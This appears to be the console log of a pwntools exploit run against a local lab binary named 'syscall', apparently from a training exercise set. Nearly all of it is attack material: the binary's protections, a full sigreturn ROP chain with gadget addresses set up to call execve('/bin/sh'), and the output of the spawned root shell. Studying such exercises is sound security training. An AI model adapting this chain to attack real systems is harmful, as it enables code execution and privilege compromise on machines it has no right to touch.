[*] '/root/techlabs/verify-pwn-b/6.3/syscall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes
[x] Starting local process './syscall'
[+] Starting local process './syscall': pid 428569
[*] /bin/sh @ 0x4aa0d0
[*] Loading gadgets for '/root/techlabs/verify-pwn-b/6.3/syscall'
[*] Using sigreturn for 'SYS_execve'
[*] 
    0x0000:         0x401885 pop rax; ret
    0x0008:              0xf [arg0] rax = SYS_rt_sigreturn
    0x0010:         0x4012a4 syscall
    0x0018:              0x0 uc_flags
    0x0020:              0x0 &uc
    0x0028:              0x0 uc_stack.ss_sp
    0x0030:              0x0 uc_stack.ss_flags
    0x0038:              0x0 uc_stack.ss_size
    0x0040:              0x0 r8
    0x0048:              0x0 r9
    0x0050:              0x0 r10
    0x0058:              0x0 r11
    0x0060:              0x0 r12
    0x0068:              0x0 r13
    0x0070:              0x0 r14
    0x0078:              0x0 r15
    0x0080:         0x4aa0d0 rdi = shell
    0x0088:              0x0 rsi
    0x0090:              0x0 rbp
    0x0098:              0x0 rbx
    0x00a0:              0x0 rdx
    0x00a8:             0x3b rax = SYS_execve
    0x00b0:              0x0 rcx
    0x00b8:              0x0 rsp
    0x00c0:         0x4012a4 syscall
    0x00c8:              0x0 eflags
    0x00d0:             0x33 csgsfs
    0x00d8:              0x0 err
    0x00e0:              0x0 trapno
    0x00e8:              0x0 oldmask
    0x00f0:              0x0 cr2
    0x00f8:              0x0 &fpstate
    0x0100:              0x0 __reserved
    0x0108:              0x0 sigmask
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 24B
[x] Receiving all data: 63B
[x] Receiving all data: 188B
[x] Receiving all data: 198B
[+] Receiving all data: Done (198B)
[*] Process './syscall' stopped with exit code 0 (pid 428569)
/bin/sh
===PWNED_6_3===
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu24 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
===END===

[+] ret2syscall OK: execve("/bin/sh") da lay shell
